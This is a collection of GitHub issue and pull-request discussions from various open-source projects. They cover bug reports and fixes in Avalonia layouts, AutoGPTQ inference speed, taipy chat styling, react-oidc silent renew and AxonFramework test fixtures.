since I don't have the hardware to test the changes I have not planned on supporting PS3/360 files.
You could try using this fork made by @emoose. It's just one version behind and should work with the PS3 files.

authors: Atvaark szczuru

repo: Atvaark/FtexTool


text:
Make all market titles cut off to ellipses after 2 lines - across all sections of portfolio and account summary

Currently there appears to be no rule in place with titles cutting of after 2 or 3 lines or not all all
example from build:

I'm still seeing some issues:

this looks good now

repo: AugurProject/augur


text:
Update contact email at bottom of presskit page

@petervecchiarelli once you have this can you give it to @bconfortin to update

press@ is correct

authors: matt-bullock petervecchiarelli


text:
Reduce the records per page on 'applications' API

Addresses #MAR-1471

Just to clarify - ops calls this endpoint direct and it regularly times out

authors: matt-sm tobiasbrown

repo: AusDTO/dto-digitalmarketplace-api


text:
[Traefik Pilot] Traefik Plugin Analyzer has detected a problem.

The plugin was not imported into Traefik Pilot.
Cause:
failed to run the plugin with Yaegi: the load of the plugin takes too much time(10s), or an error, inside the plugin, occurs during the load: 1:21: import "github.com/AustinHellerRepo/TraefikOutboundLimiter" error: /tmp/pilot-gop1876373853/src/github.com/AustinHellerRepo/TraefikOutboundLimiter/traefikoutboundlimiter.go:44:59: missing ',' before newline in composite literal

Traefik Plugin Analyzer will restart when you will close this issue.
If you believe there is a problem with the Analyzer or this issue is the result of a false positive, please contact us.

Added missing comma

authors: AustinHellerRepo traefiker

repo: AustinHellerRepo/TraefikOutboundLimiter


text:
GPTQ got an unexpected inference speed compared with fp16 for llama-7b

I'm running the inference speed script to compare the performance between fp16 and 4-bit of llama-7b (in fact, vicuna-7b) with an A100.
Surprisingly, the results of fp16 and 4-bit show a slight gap and do not match the proposed results in the table.
Running
python generation_speed.py --model_name_or_path lmsys/vicuna-7b-v1.5 --from_pretrained
obtains a result 43.56 tokens/s (Vicuna-7b and llama-7b share the same structure so I suppose their inference speed should be identical),
and running
python generation_speed.py --model_name_or_path path/to/vicuna-gptq-4-bit
obtains a result 45.56 tokens/s.
I have found several similar issues like  #77 , #49 , and #35, and followed the instructions like disenabling group_size, disenabling desc_act, setting use_cuda_fp16 as False, or enabling use_triton=True. However, they produced almost the same comparison as the above.
So my question is:

the obtained inference speed of fp16 is higher than the proposed result in the table. Is there any configuration that I missed to obtain such a result?
the improved inference speed from quantization is slight (~4%). Does the result fit the expectation?

Environment

transformers: 4.36
auto_gptq: 0.8.0
cuda: 12.2

Quantization config
{                 "bits": 4,                 "desc_act": False,                 "model_file_base_name": "model",             },
Args for loading quantized model
model = AutoGPTQForCausalLM.from_quantized(quant_model_name, quantize_config=quantize_config, disable_exllama=False, disable_exllamav2=True, inject_fused_attention=True, inject_fused_mlp=True, device="cuda:0")
Any reply will be appreciated!

Is the problem solved? I encountered a similar problem
I use generation_speed.py script to compare the speed between original model and quantized model on RTX4090.But i met the result below:
original model:
INFO [__main__] generated 5120 tokensusing 109.5500602722168 seconds, generation speed: 46.736624217983135tokens/s
quantized model:
2024-08-21 03:12:55 INFO [__main__] generated 5120 tokens using 107.57917785644531 seconds, generation speed: 47.592853022470365tokens/s

@bulaikexiansheng Sorry for the delayed response. I've experienced a similar gap between the original and the quantized model in my test, mirroring to yours. Actually, I have currently put the issue on hold and unfortunately, it remains unresolved.

repo: AutoGPTQ/AutoGPTQ


text:
Add 3 more Streams

[x] Spaces - #16
[x] Folders - #17
[x] Lists - #18
[x] Folderless Lists - #19

Did these by hand, want a way to atleast check that I didn't add too many columns.
Also didn't have a way to check if the types are correct for
Folder -> List

Status
Priority
Assignee
Start_date
Due_date
Override_STATUES

Didn't know how to add a folderless list to actually test that either.

Did these by hand, want a way to atleast check that I didn't add too many columns.
Also didn't have a way to check if the types are correct for
Folder -> List

Status
Priority
Assignee
Start_date
Due_date
Override_STATUES

Didn't know how to add a folderless list to actually test that either.

Created https://github.com/AutoIDM/tap-clickup/issues/21 to address these later, low priority vs getting data flowing

repo: AutoIDM/tap-clickup


text:
Misc post-0.7.3 bug fixes

These are being committed to Autodesk/molecular-design-toolkit#102

[x] DNA primary structure tools don't always work
[x] Trying to read a non-existent file gives an unhelpful error message
[x] Update bond templates from the RCSB CCD
[x] Tests will run from project root
[x] Add tests for biomolecular assembly construction (mostly not passing right now)

Hey @justinmc - #102 is ready for your review

Taking a look!

authors: avirshup justinmc

repo: Autodesk/molecular-design-toolkit


text:
Bad AV_* names

Dear developpers,
In the bebop_driver/src/bebop_video_decoder.cpp, lines 93, 95, 97, I had to modivy the CODEC_* macros with AV_CODEC_* ones.
Thank you for your useful job,
Best regards
Hervé

I open an pull requests to fixed it.
fixed build bebop_driver on ROS Melodic #218
Best regards

authors: HerveFrezza-Buet arnaldojr


text:
Full Download (Not for devs, for normal people like me)

Hello. I have just got your talisman plugin. I would actually like a full download of the Eco plugin.
I used maven but it did not work
Then I tried Gradle which also did not work
And the JAR in releases are not full because they won't run on the server and its for devs to build against
If you could even post a link to the full download that would be great
Thank you

Eco is literally at polymart
https://polymart.org/resource/eco.773
And can be even downloaded from this particular github repo

Eco is literally at polymart https://polymart.org/resource/eco.773
And can be even downloaded from this particular github repo

It does not contain the main stuff. I will check polymart

repo: Auxilor/eco


text:
[🐛 BUG] Chat text is grey

What went wrong? 🤔
Text in the chat from the user is grey.

Expected Behavior
It should be white.
Version of Taipy
develop 8/28/24
Acceptance Criteria

[ ] Ensure new code is unit tested, and check code coverage is at least 90%.
[ ] Create related issue in taipy-doc for documentation and Release Notes.

Code of Conduct

[X] I have checked the existing issues.
[ ] I am willing to work on this issue (optional)

Let's call this a feature

/* sender name color*/
.taipy-chat-sent .MuiBox-root {
    color: var(--color-contrast);
}

/* sender text color */
.taipy-chat-sent .MuiPaper-root {
    color: var(--color-contrast);
}

is this enough for you @FlorianJacta ?
Or do you want to change it globally, should we cast a vote ? @FabienLelaquais @jrobinAV

A vote is fair!

I prefer the white version as well. It seems more consistent with the default stylekit.

@FabienLelaquais what's your vote ?

@FredLL-Avaiga: I would certainly use white as the base choice.

authors: FabienLelaquais FlorianJacta FredLL-Avaiga jrobinAV

repo: Avaiga/taipy


text:
CornerRadius with border and fill results in white gaps

If I change the ContentPresenter in the template for Button' to have a 4 pixel CornerRadius I see the following:

You can see that the fill and the border don't line up properly. I think BorderRenderHelper needs to adjust the corner radius of the fill depending on the border thickness somehow? This happens on both D2D and Skia so I don't think it's a renderer problem.
cc: @Gillibald because you wrote the code.

I think this may be the relevant formula? https://stackoverflow.com/questions/2932146/math-problem-determine-the-corner-radius-of-an-inner-border-based-on-outer-corn

This is already done for the complex render path. Will add this to the fast path as well.

Hello @grokys
Could you help me how I can make RoundButton exactly?
There isn't any CornerRadius property in Button.

authors: Gillibald SkyZero1228 grokys

repo: AvaloniaUI/Avalonia


text:
How compile for Mac OS?

Hi, everybody. I don't understand the documentation..
The main system is windows 10, I installed mac os through vmware . On mac os put .net core 2.1 (did not install anything else)
I need to develop one project for several systems at once. I want it to compile under both my windows and MacOS , but I don't understand how to do it.
An example of https://github.com/AvaloniaUI/avalonia-dotnet-templates
it compiles under windows and linux without problems, but it does not work under mac.. How can I fix this?

um.. I'm an idiot, I just tried it again with 0 and it worked.. This is strange, tell me, can I create an application so that when running on Mac OS it does not require the installation of .net core?

@MakcStudio you do not need to compile on seperate systems.
From windows or linux or mac, you can run the command:
dotnet publish -c Release -f netcoreapp2.2 -r win-x64
dotnet publish -c Release -f netcoreapp2.2 -r linux-x64
dotnet publish -c Release -f netcoreapp2.2 -r osx-x64
The outputs of these build commands will run on the respective systems.
if you target .net core 3.0 you can also publish to a single executable.

@MakcStudio you do not need to compile on seperate systems.
From windows or linux or mac, you can run the command:
dotnet publish -c Release -f netcoreapp2.2 -r win-x64
dotnet publish -c Release -f netcoreapp2.2 -r linux-x64
dotnet publish -c Release -f netcoreapp2.2 -r osx-x64
The outputs of these build commands will run on the respective systems.
if you target .net core 3.0 you can also publish to a single executable.

I just installed some systems for testing. Only began deal with Avalonia , have been arguing understand as to wage 1 project under all system..

@MakcStudio you do not need to compile on seperate systems.
From windows or linux or mac, you can run the command:
dotnet publish -c Release -f netcoreapp2.2 -r win-x64
dotnet publish -c Release -f netcoreapp2.2 -r linux-x64
dotnet publish -c Release -f netcoreapp2.2 -r osx-x64
The outputs of these build commands will run on the respective systems.
if you target .net core 3.0 you can also publish to a single executable.

I compiled the sample App on MacOS, removed .net core and it works
Do so:
But then compiled on windows with the same parameters and transferred to Mac, now it does not work.
In both cases used the command:
dotnet publish -f netcoreapp2. 1-c Release-os x-x64

I moved the files I compiled on Mac OS to another MacOS (.net core was never installed There)
And the program does not start there, with the same error as in the picture above
This is very strange, because I removed .net core on my Mac and it still works.

If you are transferring published binaries from a windows machine to OSX/Linux, you need to use chmod +x on your executable

If you are transferring published binaries from a windows machine to OSX/Linux, you need to use chmod +x on your executable

how to do it? I still don't understand, do I have to have .net core installed to run my app on MacOS?

 dotnet publish -c Release -f netcoreapp2.2 -r osx-x64 -o publish-osx will create a self-contained app distribution in publish-osx directory. It can copied to OSX machine, but you need to run chmod +x on the executable in Terminal because Windows doesn't know anything about UNIX file access flags.

 dotnet publish -c Release -f netcoreapp2.2 -r osx-x64 -o publish-osx will create a self-contained app distribution in publish-osx directory. It can copied to OSX machine, but you need to run chmod +x on the executable in Terminal because Windows doesn't know anything about UNIX file access flags.

This helped) thank you very much)
Can you tell me how to minimize the console after opening?
Кстати, ты, видимо, русский?) Спасибо)

See https://github.com/AvaloniaUI/Avalonia/issues/1948#issuecomment-427457994
https://t.me/Avalonia

Огромное спасибо, сейчас буду разбираться)

I believe it was answered

authors: MakcStudio danwalmsley kekekeks maxkatz6


text:
WrapLayout caching incorrect when source collection is changed

Description
WrapLayout is not updating correctly when source collection is changed.
Consider an ItemsRepeater bound to a changing source collection "CurrentNode.Things".
With <UniformGridLayout /> the ItemsRepeater displays the correct items from "CurrentNode.Things" as CurrentNode changes.
If I change to <WrapLayout />, the number of displayed items updates correctly, but any items from the previous source are displayed instead.
In the example below, the UniformGridLayout is left, and WrapLayout on the right...

To Reproduce
    public class Thing
    {
        public string? Name { get; set; }
    }

    public class FolderNode
    {
        public ObservableCollection<Thing> Things { get; set; } = new ObservableCollection<Thing>();

        public FolderNode(List<string> Names)
        {
            foreach (string c in Names)
            {
                Things.Add(new Thing { Name = c });
            }
        }
    }

    public class MainWindowViewModel : ViewModelBase
    {
        private FolderNode _currentNode = default!;
        public FolderNode CurrentNode
        {
            get => _currentNode;
            set
            {
                this.RaiseAndSetIfChanged(ref _currentNode, value);
            }
        }

        ObservableCollection<FolderNode> Folders { get; set; } = new ObservableCollection<FolderNode>();

        public ICommand SelectFolderCommand { get; }

        public MainWindowViewModel()
        {
            Folders.Add(new FolderNode(new List<string>()));
            Folders.Add(new FolderNode(new List<string>() { "A", "B" }));
            Folders.Add(new FolderNode(new List<string>() { "D", "E", "F" }));

            CurrentNode = Folders[0];

            SelectFolderCommand = ReactiveCommand.Create<string>(param =>
            {
                CurrentNode = Folders[int.Parse(param)];
            });
        }
    }

  <Grid ColumnDefinitions="Auto,1*,1*">

    <StackPanel Grid.Column="0">
      <Button Command="{Binding Path=SelectFolderCommand}" CommandParameter="0">0</Button>
      <Button Command="{Binding Path=SelectFolderCommand}" CommandParameter="1">2</Button>
      <Button Command="{Binding Path=SelectFolderCommand}" CommandParameter="2">3</Button>
    </StackPanel>

    <ItemsRepeater Grid.Column="1" Items="{Binding Path=CurrentNode.Things}" Background="Bisque">
      <ItemsRepeater.ItemTemplate>
        <DataTemplate>
          <TextBox Text="{Binding Path=Name}" HorizontalAlignment="Left" />
        </DataTemplate>
      </ItemsRepeater.ItemTemplate>
      <ItemsRepeater.Layout>
        <UniformGridLayout />
      </ItemsRepeater.Layout>
    </ItemsRepeater>

    <ItemsRepeater Grid.Column="2" Items="{Binding Path=CurrentNode.Things}" Background="AliceBlue">
      <ItemsRepeater.ItemTemplate>
        <DataTemplate>
          <TextBox Text="{Binding Path=Name}" />
        </DataTemplate>
      </ItemsRepeater.ItemTemplate>
      <ItemsRepeater.Layout>
        <WrapLayout />
      </ItemsRepeater.Layout>
    </ItemsRepeater>

  </Grid>

Expected behavior
WrapLayout should display the correct items from source!
Desktop:

OS: Windows 10 Pro
Version 2004 (19041.928)
Avalonia 0.10.3

@timuenie
Thank you for your reply.
The sample I presented is a minimally reproducible code.
In production, the two DataTemplates are different in structure form each other.
For example. Here's another one I made up artificially
                <ItemsRepeater.ItemTemplate>
                    <views:DataTemplateSelector>
                        <views:DataTemplateSelector.Under100DataTemplate>
                            <DataTemplate DataType="viewModels:DataViewModel">
                                <StackPanel Width="60" Orientation="Horizontal">
                                    <Rectangle
                                        Width="16"
                                        Height="16"
                                        Fill="Red" />
                                    <TextBlock Foreground="Red" Text="{Binding Index}" />
                                </StackPanel>
                            </DataTemplate>
                        </views:DataTemplateSelector.Under100DataTemplate>

                        <views:DataTemplateSelector.Over100DataTemplate>
                            <DataTemplate DataType="viewModels:DataViewModel">
                                <Button
                                    Content="{Binding Index}"
                                    Foreground="Green" />
                            </DataTemplate>
                        </views:DataTemplateSelector.Over100DataTemplate>
                    </views:DataTemplateSelector>
                </ItemsRepeater.ItemTemplate>

Does your workaround still work in this situation?

In case anyone else comes across this issue:
<ItemsControl> with a <WrapPanel> doesn't seem to suffer from the same issue as <ItemsRepeater> with a <WrapLayout>.
I'm not sure if you lose anything like virtualization support or what not when you make the switch, but if ItemsRepeater and ItemsControl are interchangeable in your case, just change
    <ItemsRepeater>
      <ItemsRepeater.Layout>
        <WrapLayout />
      </ItemsRepeater.Layout>
    </ItemsRepeater>

to
    <ItemsControl>
      <ItemsControl.ItemsPanel>
        <ItemsPanelTemplate>
          <WrapPanel />
        </ItemsPanelTemplate>
      </ItemsControl.ItemsPanel>
    </ItemsControl>

and you're good.  Or at least, I was, so far.  🤷♂

authors: KaddaOK YoshihiroIto moon6969


text:
fix: XML Comment

What does the pull request do?

What is the current behavior?

What is the updated/expected behavior with this PR?

How was the solution implemented (if it's not obvious)?

Checklist

[ ] Added unit tests (if possible)?
[ ] Added XML documentation to any related classes?
[ ] Consider submitting a PR to https://github.com/AvaloniaUI/Documentation with user documentation

Breaking changes

Obsoletions / Deprecations

Fixed issues

You can test this PR using the following package version. 0.10.999-cibuild0022707-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

You can test this PR using the following package version. 0.10.999-cibuild0022749-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

authors: avaloniaui-team workgroupengineering


text:
Fix ObjectDisposedException in Cancellation token access (#19)

Changes:

ignore ObjectDisposed exceptions during canceling of oldCancellationToken
no longer dispose oldCancellationToken since it may be being used in another call
instead we dispose the token source the current method created in a finally clause of the task

I will publish a new version the next day.


text:
add neumorphism style

this is for issue #3

this is for issue #3

Thanks @SWELLZ. I will review the code changes.

Merged the changes. Thanks for the contribution @SWELLZ


text:
Background Music Issues

When I open the camera view controller, the music that is playing immediately stops. When I manage to get music and the camera running, switching the camera from back to front freezes the preview. Is there a reason for this? Thanks in advance!

Did you try allowBackgroundAudio = true ?

allowBackgroundAudio should be true by default. Are you able to submit your View Controller snippet so I can troubleshoot this further? Thanks
Andrew

authors: Awalz midgard sulamatraore

repo: Awalz/SwiftyCam


text:
react-oidc-context and silent renew with refreshToken causes "page reset"

Issue and Steps to Reproduce
When using a refreshToken and automatic silent renew the child tree below AuthenticationContext.provider is reset.
When using a refreshToken the oidc-client will not use an IFrame.
And my guess is core/src/routes/OidcRoutes uses the silentCallbackPath and the child tree is lost.
Versions
"@axa-fr/react-oidc-context": "3.1.6"
"oidc-client": "1.10.1"
Expected
Real silent renew not affecting the child tree below the AuthenticationContext.provider
Actual
Page is reloaded

Now I saw https://github.com/AxaGuilDEv/react-oidc/issues/527
I'm still curious about my assumption about the combination of not updating the tokens in an IFrame and the OidcRoutes though...

@robinsmedberg Did the issue resolved for you?
I think I have the same problem. Can you share anything that could solve the issue?

we have the same problem,
but i solved by using   automaticSilentRenew = true

authors: Ansalibrahim engru robinsmedberg

repo: AxaGuilDEv/react-oidc


text:
How to solve this problem in the cluster

Fault tolerant and load balancing，Is there a simple example? for spring cloud

Please do not use the issue tracker for questions. You can post your message on the mailinglist (axonframework@googlegroups.com) or on stackoverflow using the #axon tag.

authors: abuijze xiawanyingtest

repo: AxonFramework/AxonFramework


text:
Fix for the IdentifierValidationRepository not implementing the loado…

A command handler within an aggregate is modeled with the new Aggregate Creation Policy capability AggregateCreationPolicy.CREATE_IF_MISSING
When we try to run the  AggregateTestFixture class to test this scenario, the fixture fails with the message loadOrCreate not implemented on this repository . This is because the IdentifierValidatingRepository which is the repository implementation used by the AggregateTestFixture class does not override the loadOrCreate method which results in the default implementation of the Repository class to kick in, causing the test fixture to fail.
This fix provides an overriding implementation by calling the underlying delegate's loadorcreate method. The test fixture passes and we are able to test the scenario above.

Thanks Steven,
I had not included the check for a reason keeping it similar to the newInstance method. If I include this check, in the first method the Aggregate instance returned by the delegate has a null value for the identifierAsString() method for obvious reasons. This causes the test fixture to fail  hence I excluded the check since the test cases always starts with the creation of a new aggregate instance and then test all the subsequent events on that instance. Maybe we could add an "if" condition within the loadorcreate method
Do correct me if I am wrong and let me know your thoughts since I am just getting familiar with the codebase.

@domaincomponents you are completely right, only proofing I shouldn't do code reviews during off times on conference-booth-duty... The implementer of the create-or-update feature on command handlers also noticed the issue through a different channel.
He followed a similar approach as you did, but also added the loadOrCreate method to the AggregateTestFixture.InMemoryRepository class, plus a test case for all of this.
As he's "more complete" and just as correct as you are on the matter, I've decided to merge his instead of yours.
Hope you do not mind this decision, and thanks again for the effort!

authors: domaincomponents smcvb